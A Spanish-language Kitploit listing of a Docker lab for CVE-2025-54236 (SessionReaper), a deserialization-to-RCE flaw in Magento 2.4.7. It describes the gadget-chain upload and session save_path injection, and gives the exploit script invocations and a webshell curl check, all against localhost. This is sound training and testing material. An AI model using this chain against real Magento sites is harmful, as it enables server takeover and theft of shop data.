Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
session_reaper_lab — Entorno Docker para demostración práctica de la CVE-2025-54236 (SessionReaper): PHP Object Deserialization que conduce a RCE en Magento Open Source 2.4.7 | Kitploit
Herramientas/GitHubGitHub/brito101/session_reaper_lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubbrito101/session_reaper_lab

session_reaper_lab

Entorno Docker para demostración práctica de la CVE-2025-54236 (SessionReaper): PHP Object Deserialization que conduce a RCE en Magento Open Source 2.4.7

Ver Repositorio
3hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-54236 - SessionReaper Lab

Entorno Docker para demostración práctica de la CVE-2025-54236 (SessionReaper): Deserialización de Objetos PHP que lleva a RCE en Magento Open Source 2.4.7.

Uso exclusivo en entorno controlado. No ejecutar contra sistemas sin autorización explícita.


Sobre la vulnerabilidad

CVE-2025-54236 afecta a Magento Open Source y Adobe Commerce hasta la versión 2.4.7. El método ServiceInputProcessor::getConstructorData() acepta parámetros anidados vía JSON que permiten sobrescribir session.save_path - la carpeta donde PHP almacena los archivos de sesión.

Cadena de explotación:

  1. Un archivo PHP serializado (gadget chain Guzzle/FW1 vía phpggc) se envía vía /customer/address_file/upload, que lo guarda en pub/media/customer_address/s/e/sess_<id>.
  2. Una solicitud a la API REST inyecta {"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} como parámetro de constructor.
  • PHP llama a session_start() con el PHPSESSID fabricado, deserializa la gadget chain y escribe un webshell en pub/errors/.
  • Prerrequisito: sesiones PHP configuradas como file-based (no Redis/Memcached).

    • CVSS: 9.1 (Critical)
    • Versiones afectadas: Magento Open Source / Adobe Commerce ≤ 2.4.7

    Estructura del repositorio

    root@kitploit:~
    magento/
    ├── lab-magento/              # Docker lab (Magento 2.4.7 vulnerable)
    │   ├── Dockerfile            # PHP 8.2-FPM con extensiones Magento
    │   ├── docker-compose.yml    # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
    │   ├── .env                  # Configuraciones del entorno
    │   ├── conf/
    │   │   ├── nginx/            # VirtualHost nginx
    │   │   └── php/magento.ini   # Sesiones file-based, memory_limit=2G
    │   └── scripts/
    │       ├── 01-install.sh     # Instalación completa desde cero
    │       └── 02-demo-setup.sh  # Prepara producto, payload e imprime instrucciones
    ├── SessionReaper-CVE-2025-54236/
    │   └── session_reaper.py     # PoC principal (autor: alexb616)
    └── payloads/
        ├── shell.php             # Webshell con comillas simples (evita escape JSON)
        └── sess_payload.bin      # Gadget chain serializada (generada por el script)
    

    Requisitos

    • Docker Engine 24+
    • Docker Compose v2 (docker compose)
    • PHP CLI (para phpggc) o Docker con imagen ambionics/phpggc disponible
    • phpggc - https://github.com/ambionics/phpggc
      • session_reaper.py busca el binario en: PATH del sistema, ~/phpggc/phpggc, /opt/phpggc/phpggc y, como fallback, trae la imagen Docker ambionics/phpggc automáticamente
    • Python 3.8+ con requests (pip install requests)
    • WSL2 / Linux (en WSL2, puede ser necesario: sudo sysctl -w vm.max_map_count=262144 para Elasticsearch)

    Instalación

    root@kitploit:~
    cd lab-magento
    
    # 1. Instalar Magento 2.4.7 desde cero (~25 minutos)
    bash scripts/install.sh
    

    El install.sh hace:

    • Build de la imagen PHP personalizada
    • Levanta los 5 contenedores (PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
    • Clona Magento 2.4.7 vía Git (sin cuenta Marketplace)
    • Ejecuta composer install --no-dev
    • Ejecuta setup:install con sesiones file-based
    • Establece modo default (no developer - evita que warnings PHP 8.2 se conviertan en excepciones)
    • Deshabilita 2FA para acceso facilitado al admin
    • Ejecuta setup:static-content:deploy
    • Corrige permisos www-data en todas las etapas

    Ejecutando el exploit

    Después de la instalación, desde el directorio raíz (/magento/):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method order \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    Verificar RCE:

    root@kitploit:~
    curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
    # Salida esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    Método alternativo (vector address, con producto real):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method address \
        --sku DEMO-001 \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    Credenciales del laboratorio

    ServicioURL / HostCredencial
    Tienda Magentohttp://localhost:8080/-
    Admin Magentohttp://localhost:8080/admin/admin / Admin123!
    MySQLlocalhost:3306magento / magento
    Elasticsearchlocalhost:9200-

    La URI del admin se genera aleatoriamente en la instalación. Para encontrarla:

    root@kitploit:~
    docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
    

    Monitoreo

    root@kitploit:~
    # Sesiones creadas por el exploit
    docker exec lab_magento_php ls -la /var/www/html/var/session/
    
    # Archivo de sesión malicioso en media/
    docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
    
    # Logs en tiempo real
    docker logs lab_magento_nginx -f
    docker logs lab_magento_php -f
    

    Limpieza

    root@kitploit:~
    # Eliminar webshell
    docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
    
    # Detener contenedores
    docker compose -f lab-magento/docker-compose.yml down
    
    # Destruir todo (contenedores + volúmenes)
    docker compose -f lab-magento/docker-compose.yml down -v
    

    Detalles técnicos

    ¿Por qué comillas simples en el webshell? phpggc Guzzle/FW1 serializa el payload como JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. El contenido de PHP se codifica en JSON, entonces " se convierte en \". Usar $_GET["cmd"] resultaría en $_GET[\"cmd\"] - error de parse en PHP. La solución es escribir el webshell con comillas simples: $_GET['cmd'].

    ¿Por qué modo default y no developer? Magento en modo developer convierte todos los warnings de PHP en excepciones. PHP 8.2 emite Warning: Trying to access array offset on null en lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, lo que se convierte en una excepción 500 en el admin. En modo default el warning se ignora.

    ¿Por qué los archivos quedan en s/e/? Magento organiza las cargas de direcciones en pub/media/customer_address/{1er char}/{2do char}/filename. Para archivos sess_*, el primer carácter es s y el segundo es e, resultando siempre en pub/media/customer_address/s/e/.


    Referencias

    • NVD - CVE-2025-54236
    • PoC original - alexb616/SessionReaper-CVE-2025-54236
    • phpggc - ambionics/phpggc
    • Adobe Security Bulletin APSB25-94
    Descargar herramienta